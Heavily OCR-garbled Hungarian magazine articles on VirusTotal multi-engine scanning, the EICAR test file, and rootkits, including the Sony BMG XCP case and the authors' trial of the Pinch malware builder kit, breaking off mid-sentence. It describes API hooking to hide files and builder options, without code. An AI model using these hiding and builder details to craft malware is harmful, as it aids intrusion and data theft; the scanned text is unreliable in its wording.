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Totalis ellenorzes

A virusok varazslatos vilaga cimU sorozatunk elso részében arrdl lesz szo, hogyan ellendrizhe-
tlink egy gyanus allomanyt egyszerre tobbféle virusirto segitségével. Emellett arra is fény derdil,
mikeént jutnak feldolgozando virusmintakhoz az antiviruscégek laboratoriumai.

indenkivel elSfordulhat,
M hogy gyant ébred benne

egy szdmitégépes dllomany-
nyal szemben. Mintha azéta len-
ne lassti a gépem, amiota azt a frd-
nya levélmellékletet megnyitottam!
Mintha azéta lennének rendszeres
lefagydsok, hogy azt a bizonyos al-
kalmazast telepitettem! Lehet, hogy
az dltalam hasznalt virusirto egy tisz-
ta dllomanyra riaszt, vagy taldn csak
vakriadé? Nem merem megnyitni
a levélben kapott mellékletet, hatha
fertézott, de vajon hogyan gy6z6d-
hetnék meg réla?

llyen és ehhez hasonlé kérdések

esetében jol jonne egy olyan alkal-
mazas, amely csatasorba éllitja a pi-
acon kaphat6 antivirusprogramok
szine-javat, és elvégezne szamunkra
egy alapos vizsgdlatot egy adott gya-
nds féjl esetében. Es ez nem vagy-
alom, ez mér valGsdg! Egy spanyol
weboldal, a VirusTotal mar évek ota
kindlja ezt a lehetdséget a felhasz-
ndlok millidinak. Az amerikai PC
World magazin a ,2007. év 100 leg-
jobb terméke” dijat adomanyoz-
ta a VirusTotalnak a biztonsagi web-
oldalak kategériaban. Gyanus allo-
manyok vizsgdlatdra mi is j6 szivvel
ajanljuk ezt az igen hasznos oldalt.

Ez év jiliusdtdl megtjult kiilsével
és kibévitett palettaval jelentke-
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zett a VirusTotal ingyenes online vi-
rus- és kdrtevovizsgald szolgdltata-
sa. A VirusTotal egy fliggetlen IT-
biztonsdgi laboratérium, a Hispasec
Sistemas dltal kifejlesztett ingyenes
szolgdltatds, amely szamos parancs-
sori antivirusmotort alkalmaz, és
ezeket a fejlesztdk dltal hivatalosan
kibocsétott virusadatalloményokkal
rendszeresen frissiti. A keresGmo-
torok készitéi kozétt olyan nagy
neveket talalunk, mint az ESET
NOD32, F-Secure, Frisk, Kaspersky,
McAfee, Panda, Symantec és még
sokan masok; dsszesen 32 virus-
védelmi alkalmazds neve sorako-
zik a listdn,

Am amellett, hogy killlemében &t-
alakult az oldal, szimos egyéb hasz-
nos funkciéval is gazdagodott a ki-
nélat. A megvizsgalandd mintaéllo-
madny bekildése nemesak a webes
feltileten torténhet, hanem elekt-
ronikus postan is eljuttathatjuk azt
a VirusTotalnak. Ez utdbbi esetben
levélben kapjuk meg az ellendrzés
eredményét. Emellett akar titkosi-
tott csatorndn (SSL) is lehetdséglink
van elkiildeni a vizsgdlandé mintat.

Tovabbi hasznos bedllitasi lehe-
ség, hogy a bekildott dllomany
esetében nyilatkozhatunk dgy is,
hogy a vizsgdlandé fdjl bizalmas ter-
mészetd, nem publikus. Ebben az
esetben a VirusTotal nem kiildi to-
vabb elemzésre gyanl esetén a pro-
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Béviilt a webes fel(i-

let nyelvi timogatdsa

is: a kordbbi angol és
spanyol mellé bekerdilt
a német, cseh, lengyel
&s a magyar nyelv is.
A magyaritast nekem
volt szerencsém elké-
sziteni, ebben hihetet-
lendil rugalmas partnerekre talaltam
benniik, név szerint is hadd emlit-
sem meg francisco Santost. Az ot-
let felvetése utdn felajanlottam a se-
gitségemet e-mailben, és néhdny
gyors levélvltast kovetGen — alig
masfél nap milva — mér ki is kertil-
hettiink a vdlaszthatd nyelvek kozé.
Azota is rendszeresen latogatom az
oldalt, és olyba tdnik, valésagos hul-
lamot inditottunk el a forditasokkal:
azéta mdr a svéd, portugdl, olasz,
kinai nyelv (alap- és tajvani valtozat)
is felkertlt a palettara.

Az (j weboldalon szamos statisz-
tikai adatot is nyomon kévethe-
tiink az eddigi Top 10-es kartevd-
lista mellett: ilyen a szolgdltatas ki-
hasznaltségdt a legutdbbi 24 érdban
jellemzd grafikon, a kilonféle virus-
keresG motorok frissitési adatai. Ta-
lalunk tortadiagramot azon kdrte-
vk szdmdrdl is, amelyeket minden
résztvevd kivétel nélkal felismert, il-
letve az olyan fertdzétt fajlokral,
amelyeket viszont legaldbb egy ke-
resdmag észlelt.

A weboldal készitGi fontosnak tart-
jak leszogezni: a VirusTotal nem he-
Iyettesitheti a szimitogépre telepi-
tett egyedi virusvédelmi szoftvert,
hasznélataval csak egy kivdlasztott
allomanyt vizsgdlhatunk. A felhasz-
ndl6 rendszerének dllandé virusvé-
delmére a modszer nem alkalmas.
Bar a tabb, kiilonféle viruskere-

s6 motornak kdszonhetéen a felis-
merési ardny kiemelkedd, ezek az

Egy adott virust vizsgalva lathato, hogy sokan
nem is talaljak meg azt, a talalatokat atbongész-
ve pedig felfigyelhetiink arra, hogy a kiilonféle
termékek tébbnyire nem egységesen, hanem
dsszevissza nevezik el azt

eredmények egy(ittesen sem garan-
taljak, hogy egy adott allomany va-
|6ban artalmatlan. Pillanatnyilag
nem létezik olyan technikai meg-
oldas, amely 100 szdzalékos biz-
tonsaggal mutatnd ki a virusokat és
mas kdrtevdket. Vigydzzunk, hogy
ne véljunk félrevezetd reklamok al-
dozatdvd, és legylink gyanakvok, ha
valaki netdn 100 szazalékos bizton-
sagot igérne!

Igen érdekes hozzaszolasok szulet-
nek a VirusTotal blog szekciéjdban.
Kovetkezzen most innen néhany
hasznos és tanulsdgos gondolat!

Altaldnossigban kijelenthetjiik,
hogy napjainkban minden virusvé-
delmi terméknek vannak kilonfé-
le észlelési problémdi az elszapo-
rodott kdrtevik elképesztden nagy
szdma miatt. Hasonléképpen els-
fordulhat olyan eset, hogy egy ter-
mék egyediil észlel egy vadona-
tj mintdt — példaul j6 mindsé-
gli heurisztikdjdnak kiszonhetéen,
vagy mert elséként készitették el az
adott kartevére a virusadatbazis-
frissitést. Ez az oka annak, amiért
egy ilyen eset nem alkalmas arra,
hogy egyetlen minta alapjan bizo-
nyitsa egy termék (ideiglenes) folé-
nyét a tobbivel szemben.

Nem gy6zziik elégszer ismétel-
ni, hogy a VirusTotal nem terepe egy
antivirus-tsszehasonlito elemzésnek,
hanem olyan eszkdz, amely parhu-
zamosan tobb AV-programmal is ké-
pes ellendrizni gyanis mintdkat, és
segiti a kiildénbozé viruslaboratdri-
umokat azzal, hogy tovabbitja sza-
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KAPCSOLODO WEBOLDALAK

A VirusTotal magyar honlapja: www.virustotal.com/hu/

VirusTotal blog: blog.hispasec.com/virustotal/

Jotti online kartevé-azonosité szolgdltatasa:

virusscan.jotti.org

ESET Online Scanner, az online NOD32 keresé:

www.eset.com/onlinescan/

Panda NanoScan online keresd: www.nanoscan.com

Trend Micro Housecall online kereso: housecall65 trendmicro.com

A Symantec Security Check online keresé:

security.symantec.com/sscv6/

EICAR tesztvirus: www.eicar.com

mukra azokat a karteviket, amelye-
ket képtelenek voltak észlelni.

Azoknak, akik arra haszndljdk
a VirusTotal oldalt, hogy antivirus-os-
szehasonlité elemzéseket végezze-
nek, tudniuk kellene, hogy ezzel hi-
bas madszert valasztanak, tobb okbdl
is — lassuk a legnyilvanvalébbakat!

- A VirusTotalban szerepl6 ke-
resémotorok parancssori progra-
mok, tehdt semmiképpen sem ha-
sonlithatok 6ssze ennek alapjan
egy telepitett munkadllomason fu-
té programcsomag-valtozattal: pél-
ddul szdmos esetben egy telepitett
programcsomag viselkedéselemzési
technikat hajt végre, és mindekoz-
ben témaszkodik a tlizfalas véde-
lemre, ezzel csokkentve a lehetsé-
ges belépési pontokat, és mérsékel-
ve a fertézést.

— A VirusTotalban a munkadllomds-
alap( megoldésok egyidejdleg mii-
kodnek a komplett halézati alapt (tdz-
fal, dtjdrévédelem stb.) megvaldsitd-
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sokkal; az utébbi csoportban taldlhaté
heurisztikak agresszivebb és paranoi-
asabb miikadésiek lehetnek, mialatt
a hamis riasztasok (false positive) szd-
ma kevésbé latvanyosan jelentkezik.
Emiatt egyszeriien nem tisztességes
osszehasonlitani e két csoportot.

— Egyéltalan nem kinny(i feladat
egy megbizhatd és hiteles antivirus-
elemzés megvaldsitdsa; ez nagysza-
m reprezentativ és hiteles virus-
mintat igényel, amelyek kozt egy-
ardnt szerepelnek az Ggynevezett
vadon €I (In The Wild) kartevélk,
valamint a viruslaboratériumi (Zoo
Collection) egyedek, a téves riasz-
tast ado, valamint a sérult, korrupt
végrehajthato fdjlokkal egyetem-
ben. Emellett a munkadllomés-ala-
pu 0 virusellenes technikdk beve-
zetésére valo tekintettel az volna
a korrekt eljdrds, ha minden ter-
mékkel valds kirnyezetben ellen-
Grizhetnénk az adott mintdt — ez
lenne az igazi prébatétel a progra-
mok valés észlelési és meg-
el6z6 képességeire. Mind-
maig nincs egyetlen olyan
antivirusteszt, amelyben
ezek az alapelvek maradék-
talanul érvényestlhetnének.

A fenti cimet Oveges profes-

szor egyik konyvének cimé-
bél kdlesonoztik; kisérletez-
ziink mi is egyet: [étezik egy
Ggynevezett EICAR tesztvi-
rus, amelyet egy nemzetko-
zi megéllapodas szerint min-
den viruskeress felismer,
ezzel szoktdk tesztelni a vi-
rusvédelmi programokat. Ter-
mészetesen ez nem egy fer-
t6z6 dllomany, hanem egy
68 bajt hosszi, .COM kiter-

Ebben az allomanyban nincs virus, hiszen
a Windows Calc.exe-t tomoritettiik az UPX
segitségével - mégis a résztvevik kozel 10

szazaléka minden ok nélkil riaszt

jesztési fdjl, amelyet a www.
eicar.com oldalrdl lehet le-

tolteni. Ha ezt megvizsgdljuk
a VirusTotal oldalon, meglep-
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3 Avizsgalal

A VirusTotal egy olyan szolgaltatas, amellyel
szdmos antivirus motor segitségével gyanus
hasznélata

dlloményokat
mrsakdniwitl a virusok, ferg
leartewtilc cyors észislésar

Vizsgalat Statisztika E-mail/Feltdltés A VirusTotal névjegye

Horzon lére ecy U] e-mail Izenater, amelynek cimrette a sca

1. Ije alevél targysoraba a SCAN szét (a SCTAM- szét i be, ha 2 minta
nem publikus, és azt szersing, hogy a7t kszeljgk bizalmasan)

Ceatolja melekletkent a vizsgalands alomanyt! A fajl mérete nem
haladhatja meg a 10 MB-os hatart, ellenkezd esetben a rendszer

ja a vizsgalatot.

g edmeémyal e-mailben fogja megkapni, A valasadi ménske a
renciszer pillanatny terheltsed szintetdl figaten valtazhat

| Deutsch| Ceshy]

elemezhetiink,

Ha a rendszer netan pillanatnyilag tulterhelt lenne, az e-mailben elkildott
minta eredményérél valaszlevélben kapjuk meg az értékelést

ve tapasztalhatjuk, hogy szabvany
ide, megdllapodas oda, a PrevxT
,Win32.Malware.gen” néven egy ge-
nerikus Windows alatt futé karté-
kony programnak jelzi, mig az 6s-
szes tobbi résztvevs — helyesen -
EICAR tesztvirusnak mutatja. J6jjon
a kisérlet masodik része: valasszuk
ki a Windows Szamolégép alkal-
mazast (\Windows\System32\Calc.
exe), és vizsgdltassuk meg. Az ered-
mény, ahogy vartuk, 32-bdl 32 tisz-
ta dllapotot mutat. Ha most ugyan-
ezt a Calc.exe allomanyt az UPX
(Ultimate Packer for eXecutables)
program segitségével tomaoritjik, és
az tjonnan keletkezett artalmatlan,
de UPX tomoritésii allomanyt vizs-
galjuk a VirusTotallal, meglepetés-
ben lesz résziink: harom keresd is,
az eSafe, az Ikarus és a WebWasher-
Gateway fertdzottnek jelzi azt, min-
den alap nélkiil.

A vizsgalat eredménye nem ité-
let, hanem hathat6s segitség. Nem
gy6zziik elégszer hangsilyozni: ha
egy bedobott mintit minden kere-
s tisztanak tél, az még nem jelen-
ti azt, hogy az valéban egy tiszta al-
lomany, és nem tehet kdrt gépiink-
ben. £s ennek az ellenkezdje is igaz
lehet: ha egy adott fjlra minden
egyes keresémotor riaszt, ettl fag-
getlentl az még lehet drtalmatlan.

Létezik egy masik, szintén ingye-
nes oldal is a kartevémintak vizsgd-
latara: itt azonban lényegesen sze-
rényebb a rendelkezésre dll6 kere-
sémotorok szama. A Jotti holland
weboldalon szintén lehetdség van
tetszéleges féjl feltoltésére és vizs-
gdlatdra, és ezt kovetden kapunk
egy tabldzatos jelentést az ered-
ményrdl, hogy mely keresémagok
itélték tisztanak, illetve melyek fer-
tézottnek a vizsgdlt mintat.

Mint irtuk, a VirusTotal és per-
sze a Jotti sem alkalmas géptink vi-
rusellendrzésére, csak az elkildott
gyanus minta kivizsgdlasara. A nor-

mal, telepithetd keresék mellett [é-
teznek tgynevezett online keresék
is, amelyek az adott virusvédelmi
alkalmazds installaldsa nélkiil ké-
pesek végigvizsgalni szdmitogépiin-
ket. A megoldasok tobbségében

a detektaldsra szoritkoznak, men-
tesitést nem végeznek. A neves
antivirusgyartok kozil tobbek kozt
az ESET NOD32, a Panda Security,
a Symantec és a TrendMicro nydj-
tanak ilyet. Ez a modszer mindkét
fél szamdra hasznos: a géptulajdo-
nos egy alternativ megoldassal is
megbizonyosodhat virusmentes &l-
lapotdrél, mig a gyartdk ily mo-
don pontos fertézési statisztikak-
hoz jutnak a még hatékonyabb vé-
dekezéshez.

A viruslaborokban torténé feldol-
gozds és az adott kdrtevd felisme-
rését biztositd virusalairds-bévi-
téshez mintakra van sziikség. Ezek
egy része az adott gyarto sajat tgy-
feleitdl érkezik kivizsgdldsra. Van-
nak aztdn a levelezdszervereken
elhelyezett virusvédelmi megolda-
sok, ahol a gyands fdjlokat taroljdk,
majd elemzésre tovabbitjak dket,
végiil pedig az dgynevezett ho-
ney-potok, azaz mézeshaodon tipu-
sti csalihelyek is begydijtik azokat.
A fent emlitett VirusTotal ugyan-
csak egy ilyen lehetséges minta-
forrds, amely hasznosan segiti az
antivirusgydrtokat naprakészsé-
glik folyamatos fenntartasaban az-
zal, hogy az dltaluk fel nem ismert,
de a tobbi résztvevd dltal detektdlt
mintakat rendszeresen atadjak sza-
mukra részletes elemzésre.

kK
Kérjik kedves olvaséinkat, ha
a témdban kérdésiik, hozzdszoldsuk
van, juttassdk el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,
virusvédelmi tanacsadé
Sicontact Kft., a NOD32
magyarorszagi képviselete
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A LATHATATLAN ELLENFEL

A rootkitek mar a spajzban vannak

A Virusok Varazslatos Vilaga cim{ sorozatunk masodik részében a rootkitekrol lesz sz6 - ezek
mikodésérol és veszélyeirdl. Bepillantunk még egy igazi alvilagi viruskészito készletbe, meg-
vizsgaljuk, mit tud, mire képes a Pinch nevi eszkdz, nem utolsésorban az is kideril, lehet-e vele
lathatatlan kartevoket késziteni.

rootkitek olyan specialis hac-
ker eszkozkészletek, amelye-
ket a tdmadok arra hasznal-

nak, hogy rendszergazda szint( jogo-
sultsagot szerezhessenek maguknak.

a fuiggvénykészletbe, melyet a gép-
re telepftett programok rendre meg-
hivnak —, és azt magdra irdnyitva
ellendrzi, atalakitja annak erede-

ti mdkodését. Ha példaul egy olyan

kat, amelyek dltal megszerezhe-

t6 a rendszergazdai szint( hozzéafé-
rés. Sokkal inkabb az a f6 célkitdizé-
se, hogy lehetévé tegye a behatold

szamdra ténykedésének, valamint

ATTEMTION!!

Undetected rootkits are
western union, check or

Contact aphexgs m

on sale for $100 e=ach. Payment by paypal, egold,

maney arder!

= for purchase.

Nyiltan hirdeti fejlesztéje az AFX-csomagot: 100 dollarért barki vehet ,észlelhetetlen” rootkitet

A rootkiteket eredetileg a UNIX/Li-
nux operacids rendszerekre készitet-
ték, és céljuk a legmagasabb — az (igy-
nevezett root, vagyis a rendszergazda
szint(i — jogosultsag megszerzése volt,
ezzel ugyanis at lehet venni az adott
szamitogép feletti irdnyitést.

A Windowst futtat6 gépek esetében
més a helyzet: it elssorban progra-
mok, futé folyamatok (processzek)
vagy Registry-bejegyzések dlcdzasa,
biztons4gi alkalmazasok eldli elrejté-
se a cél. Ez esetben a jogosultsagnak
nincs kiemelt szerepe, hiszen tobb-
nyire minden felhasznal6 a 1étez6 leg-
magasabb szintd, vagyis adminisztra-
tori privilégiumokkal szerepel.

A definici6 szerint olyan programok-
rél van sz6, melyek képesek eltitkol-
ni sajat vagy mas szoftverek jelenlé-
tét. Onmaggban a rootkit-technolé-
gia nem jelent veszélyt: hasonlatosan
példdul az atommaghasadashoz,
amelyet lehet j6 célokkal atomerd-
mivekben energiatermeléshez hasz-
ndlni, de rossz szandékkal nuklea-
ris bomba is elGallithato a segitségé-
vel. A nagy gondot az jelenti, ha ezt
a technikét kiilonboz6 szamitégépes
kartevék: virusok, férgek, kémprog-
ramok leplezésére hasznaljak. Sajnos
Ggy tdnik, az utébbi id6ben ponto-
san ez torténik.

A rootkit beépil az operéciés rend-
szer APl (Application Program In-
terface) rétegébe — magyarul abba

Tovabbi érdekes, cikkiinkhoz kapcsolodd
anyagok taldlhaték a lemezmellékleten.
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konywtér listazésara adunk utasi-
tast, amelyben a rosszindulatd ké-
dot tartalmazé program talélhaté,
akkor ennek neve a manipulacio ré-
vén hidnyozni fog a listdbol. Ugyan-
ez torténhet egy adott rendszerle-
ir6 adatbazisbeli (Registry) bejegyzés
ellenérzésekor is. Minden parancs-
forgalom az ellendrzése ala kertil -
szakszéval ,meghookolja” a felhasz-
néloi fiiggvényeket. Ha a rootkitet
tavolrél vezérlg hacker gy kivanja,
barmilyen mas allomanyt is elrejthet
ily médon, tobbek kozott a megtd-
madott gépre tavolrdl feltoltott ille-
galis — akar terrorista, porno- vagy
warezanyagokat is.

Egy rootkit f6 célja nem sziikség-
képpen az, hogy uralja a kiszolga-
16 rendszert, még ha be is tor oda,
és tartalmaz is olyan programo-

a rendszer sebezhetdségének lep-
lezését.

Microsoft Windows P [verzs

PP PP Ll Ll

Bar a rootkitek csak néhany éve
kertiltek az érdekl6dés kozéppont-
jaba, mér korabban is hasznalatban
voltak, csak nem mindig vettiik ész-
re 6ket. Greg Hoglund fuggetlen biz-
tonsagi szakért6 egyenesen Ggy Véli,
hogy a Windows-alapi rootkit al-
kalmazésok titokban ugyan, de mar
évek ota széles korl hasznélatban
vannak. Hoglund mar 1999-ben fi-
gyelmeztetett a probléma veszé-
lyességére, s6t, demonstracids céllal
tobb rootkitet is irt — példaul az igen
elterjedt Hacker Defendert. Nehe-
ziti a klizdelmet, hogy a rootkitek
tobb fajtdja nyilt forraskédd, azaz

m: 5.1.266881

(C>» Copyright 1985-2861 Hicrosof& Corp.

C:sDocuments and Settingsh\Sacrcds

nred rejtett

C:srejtett>die

A meghajtdban ¢C> 1lévi kitetnek nincs cimkéje.

A kitet sorozatszama:
C:srejtett tartalma:

097:30
He?:30

<DIR>
<DIR>

2 kionyutar

7CAA-AEA?

34 816 hook.d11

2 B62 ReadMe._txt

23 644 root.exe

1 322 baj

(]
1 354 649 688 bajt szabad

Az AFX-rootkit triikkozése ellenére parancssorbdl be tudunk lépni annak elrejtett
kényvtaraba - ha pontosan tudjuk, hogy annak mi a neve - a CD, vagyis a Change
Directory utasitassal. A jelenség oka, hogy a rootkit a Windows API FindFirstFile és
FindNextFile utasitasait manipulalja, ezért nem lathatjuk a mappat a fékonyvtarbol
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mindenki szimara hozzéférhetd,
emiatt barki kisebb médositdsokkal
Gj kartevét hozhat létre. Egy ilyen
fejlett virus a fert6zés utan képes el-
tiintetni magat az operdcids rend-
szer el6l, mikozben a héttérben to-
vabb végzi kartékony tevékenységét.

A specidlis, kiilén programként for-
galmazott rootkitfelismerd alkalma-
zasok a kulonféle rendszereltérité-

seket (hooks) képesek észlelni. Az

egyik legeredményesebb klasszikus
rootkitleleplez6 mddszer a szamité-
gép pillanatnyi allapotanak (futé fo-

Vilagosan latszik a Google
statisztikajan, hogyan élénkiilt meg
hirtelen az érdeklédés a ,,rootkit”
szora a Sony BMG eset kapcsan
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lyamatok, automatikus inditésra jo-
gosult alkalmazasok listdja, Registry-
bejegyzések, memoériafoglaltsag stb.)
mentését Gsszehasonlitani egy ga-
rantdltan tiszta (példaul CD, DVD)
lemezrél t6rténd indulds utani ha-
sonlé mintavétellel. Ha ebben a két
lementett dllapotban a futé folya-
matok, a felhasznalt memoriatertilet
vagy barmi egyéb vonatkozasdban
kilonbozdségre deriil fény, az ala-
pos tovabbi nyomozasra adhat okot.

A Winternals Software térsalapito-

ja és vezet§ szoftvermérnoke, Mark
Russinovich leplezte le a Sony BMG
altal hasznalt, rootkitalapi CD-méso-
lasvédelmet. Ot olyan jelentds prog-
ramok készitGjeként ismerhetjiik,
mint a RegMon, FileMon, Proces-
sExplorer vagy éppenséggel a root-
kiteket felderit6 RootkitRevealer al-
kalmazas.

A 2005 novemberében kipattant
botranyt a First4 Internet cég altal
kifejlesztett és illegalisan alkalmazott
digitalis jogkezeld rendszer (DRM,
Digital Right Management) okozta.

T sz antiviue system - Vipssirias

in ket n reply

Elird ihvrdeak - Vinmhery

ime a nagy vihart kavaré Sony
BMG album, amelyen - mint
utobb kiderdlt -, nem csak
zeneszamok voltak...

kezdetben még tagadta

a kényes esetet, a bizonyi-
tékok stlya alatt meghajolva
visszavonta a DRM madso-
lasvédelmét. Erre nemcsak
a hirtelen tdmadt publici-
tas, hanem az ellene inditott
perek sorozata is rdkény-
szeritette (hopp.pcworld.
hu/3508).

Tdl a személyiségi jogok
megsértésén, tovabbi fontos
momentum, hogy a Sony
masolasvédelmi program-
ja olyan sebezhetGséget
nyitott a szamitogépeken,
amelyet nem sokkal késébb a k-
[6n erre a célra irt virusok mar ki is
hasznltak, igy szinte l4thatatlanul
be tudtak férkézni ezekbe a rend-
szerekbe. Az XCP és més hasonlo
rootkitek eltavolitasa rendkiviil ké-
nyes és komoly szaktudast igény-

16 folyamat, mivel roppant komplex
médon épilnek be a rendszerbe,
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A NOD32 antivirus bekapcsolt Anti-Stealth izemmoédban képes az FU-rootkit
rejtett komponenseit is tevékenységiik kozben észlelni és toroélni

Ez az XCP nev(i rootkites védelem
halézati forgalmat kezdeményezett
a Sony szerverei felé, és jelentette,
kik, mikor és milyen IP-cimmel ren-
delkez6 szamit6gépen jatszottdk le
az adott zenei CD-t. Ez ijeszté mo-
don azt mutatja, hogy a cég Nagy
Testvérként figyelemmel kisérhette
a felhasznalok szokasait. Jol jellemzi
egy atlagfelhasznal¢ kiszolgdltatott-
sagdt, hogy bar a Sony végfelhasz-
néléi szerzGdésének egyik apré be-
tlis pontjaban szerepel, hogy telepit
egy szoftvert a szamftégépre, annak
funkcionalitasa nincs egyértelmGen
megjeldlve, tovabbd arrdl sem esik
sz6, hogy a késGbbiekben ezt lehe-
tetlen lesz eltavolitani. Bar a Sony

ezért tapasztalatlan felhasznaléknak
megfeleld segédeszkoz nélkiil sem-
miképpen nem javasolt. Egy szak-
szer(tlen prébélkozas indithatatlan
Windowst eredményez.

Ugy ttinik, van, aki semmibdl nem
tanul. Alig masfél évvel késébb

a Sony ismét magdra iranyitotta a fi-
gyelmet Microvault USM-F pen-
drive-sorozatdval. Ez év augusz-

tus 27-én igen érdekes felfedezésrdl
szdmolt be az F-Secure weblogja.
Kiderdlt, hogy a Sony MicroVault
USM 512 FL jeldi, ujjlenyomat-azo-
nositasra alkalmas flashmeghajté-
ja titokban rootkitet telepit a gépek-

re, és az F-Secure kutatéi szerint az
eszkéz kinai fejlesztés(i szoftvere
miikodése kozben rejtett konyvta-
rat hoz létre.

Azért elképeszts az eset, mert
agy gondoltuk, aki korabban mar
ilyen hatalmas tanulépénzt volt
kénytelen kifizetni elhibazott [é-
pése miatt, az nem koveti el Gjra
ugyanazt. A Sony elGszor céfol-
ta az értestilést, késébb pedig nem
kommentélta az F-Secure tébb
mint egy honapja tett felfedezését,
viszont amikor az USM-F jeldi ter-
mékében is azonositottdk a rootki-
tet, hivatalos weblapjan elérhetet-
lenné tette a két eszkdzhoz tarto-
z6 meghajtéprogramok (driverek)
letoltését.

Kivancsiak lettiink a dologra, és
vasarolni indultunk a magyarorsza-
gi webdruhazakba, de nem talal-
tunk ra egyik tipusra sem. A Vate-
rdn és a német eBayen sem jartunk
szerencsével. Ezért inkabb a meg-
hajtéprogram-
csomagra foku-
széltunk — és nem
hiaba. Az FL-ti-
pusra egy drivere-
ket kindl6 magyar
oldalon, a drivers.
hu-n akadtunk r3,
mig az F vélto-
zathoz sziikséges
szoftvert éppen
a Sony oldalarél
sikertilt letolteni.
Ehhez kitartdan
kellett prébalkoz-
nunk, de végiil
is talaltunk olyan
orszagot — Indi-
4t —, ahol Isten
malmai lassabban
Grolnek, és az
ideiglenes vissza-
vonas ellenére
sem tavolitottak
még el a progra-
mot a helyi Sony-
honlaprol.
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A virusirté nem jel-
zett a nagy telepitécso-
magokra, a telepités vi-
szont az USB-eszkoézok
fizikai megléte nélkiil
nem hajthaté végre. Kis
nyomozgatas utan az-
tan a BioSecure\fg.exe
allomanyra terelGdott
a gyanlnk, amely ré-
sze mindkét telepitGcso-
magnak. A ProcessMo-
nitorral kisért prébafut-
tatds sordn latszik, hogy
létrehoz egy Gj meghaj-
téallomanyt C:\WIN-
DOWS\SYSTEM32\DRI-
VERS\FG.SYS néven, ezt
a NOD32 sikeresen ész-
leli, beallitasatol fliggs-
en haladéktalanul torli,
illetve karanténba helyezi.

Az ilyen, rejtett kényvtaron ala-
pulé megoldasok az el6z6 BMG-
esethez kisértetiesen hasonlé hely-
zetet eredményezhetnek. A rej-
tett konyvtarba masolt llomanyok
nemcsak a felhasznal6k, hanem
szdmos virusvédelmi program el6tt
is észrevétlen marad, és igy, mond-
hatni megdgyaznak egy l4thatatlan
virusnak. A kartevék szerz6i hamar
kihasznaljék az ilyen kényes infor-
macidt, és pontosan ebbe a mappé-
ba fogjak telepiteni ,lathatatlan” vi-
rusaikat, kémprogramjaikat. Ezzel
a gyart6 olyan veszélynek teszi ki
a gyandtlan felhasznaldkat, ami sze-
rintink nem megengedhetd.

Hagyomdnyos virusok esetében dl-
taldban megoldast jelent egy vi-
ruskeresés lefuttatdsa. A rootkitek
azonban képesek arra, hogy akti-
vélasuk utan lathatatlanna tegyék

A Pinch Kill meniijében tetszés szerinti folyamat (pro-
cess), példaul az ismert viruskeresék ellen is indithaté
kikapcsolasi kisérlet
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A Pinch készlettel egy kaptafara késziilt kartevoket szépen felismerik az
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A Sony USM F és FL jelii ujjlenyomat-olvasés USB-kulcsaban titokban rootkit
lapul, ezzel hatalmas veszélynek teszi ki a gyanutlan tulajdonosokat

magukat. igy, miutén a frissitett an-
tivirusrendszer sem taldl semmi-
lyen fertzést, a felhasznal6 — téve-
sen — biztonsagban érezheti magat.
Mindezek alapjan a rootkitek elle-
ni védekezés legfontosabb kovetel-
ménye, hogy a fert6zést még an-
nak aktivizalodasa el6tt ismerje fel
és dllitsa meg a szamitogépre tele-
pitett antivirus. Am a mai virusvé-
delmi programok nem mindegyike
képes erre.

Erdekes kivételt jelent az ESET
Software virusirtéja, amely a meg-
Gjult heurisztikus technoldgianak
koszénhetéen mar a rootkiteket
is proaktivan ismeri fel, megaka-
dalyozva azok miikodésbe [épé-
sét. ANOD32 az j, 2.7-es vélto-
zattél kezdédden olyan fejlett rej-
t6zkodésellenes technoldgidkat
is kinal, amelyek atfogé védelmet
nydjtanak a rootkitek ellen — az-
altal, hogy képes a valés helyzet-
nek megfelel§ informacidkat nydj-
tani a futé folyamatokrél és az éllo-
manyrendszer éllapotarol.
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A ThreatSense technoldgidja a mar
aktivizalédott, feltelepdilt rootki-
tek ellen is hasznélhatd, ezt korab-
ban csak igen nehézkesen lehetett
megvalésitani. A NOD32 éllandé vé-
delme és kézi inditdsi viruskereséje
minden rootkitfolyamatot képes ész-
lelni, fiiggetlentil annak rejtézkodési
mechanizmusatol, és képes kikeralni
a rootkit altal eltéritett (hook) fiigg-
vényhivatkozasokat, ezaltal a progra-
mok tényleges allapotat latja.

Az ut6bbi években egyébként hi-
hetetlen médon megnétt a rejtett
kémprogramok mennyisége. Né-
hany nappal ezel6tt adtak hirt arrdl
(hopp.pcworld.hu/3509), hogy An-
gela Merkel német kancelldr kinai
ldtogatasa alatt derdlt ki, hogy a né-
met kancelldria és tobb mas kulcs-
fontossagu (kiiltigy, gazdaségi, kuta-
tasi) minisztérium szamitogépei ki-
nai eredetd rejtett kémprogramokat
tartalmaztak, amelyek a kikémlelt
adatokat rendszeresen hazon kiviil-

re tovabbitottak. A beszamolok sze-
rint a tdmadasok a kinai Lanzhou-
bél, Kantonbdl és Pekingbdl indul-
tak ki, és az ellopott adatok is ide
érkeztek.

Valamivel késébb a Pentagonban
elismerték, hogy hénapokkal ez-
el6tt idegenek fértek hozza a vé-
delmi miniszter levelezrendszeré-
hez. Jelen cikk frasakor pedig a The
Guardian oldalan jelent meg egy hir
(hopp.pcworld.hu/3510), misze-
rint a brit korményzat egyes szami-
togép-halézataiba, koztik a parla-
ment és a kiilligyminisztérium rend-
szerébe is betortek ismeretlenek.

Nem bizonyithaté, hogy itt is ki-
nai behatol6krél van-e sz6, minde-
nesetre a betorés megtortént, és az
ettdl val6 félelem mar biztosan [é-
tezik. A cikk szerint Kindban a vilag
legfejlettebb internetes sz(irGeszko-
zeit fejlesztették ki; példaul az dgy-
nevezett Kinai Nagy Tézfal (Great
Firewall of China) segitségével a da-
lai lamarol, Tajvanrdl és egyéb, Kina
szdmara kellemetlen politikai dol-
gokrol sz6l6 informéciok elérését
korlétozzak igen hatékonyan.

2007. jdlius 25-én arrél kaptunk
hirt, hogy a Panda laboratériuma
felfedezett egy Pinch nev(, adat-
lopésra tervezett virus-, tréjai- és
kémprogramkészit6 készletet, ame-
lyet egyes alvilagi online forumo-
kon pénzért drulnak. Kivancsisagunk
most sem lankadt, egyetlen torren-
toldalrél rogton harom kiilonbozé
valtozatban is (1.0, 2.58 és 3.0 ver-
zi6t) letoltottik. Ebbél a 3.0 egy ha-
mis, backdoorral fert6zott mikodés-
képtelen allomanynak bizonyult, vi-
szont a 2.58-as csomagot sikerdlt
,munkara” fogni. Elképeszts részle-
tességgel allithatok be a készitendd
kartevé tulajdonsagai: milyen nevd
DLL készuljon, milyen gyakorisaggal
kiildjon e-mailt, képes az elkészilt
allomanyt FSG, MEW és UPX EXE-
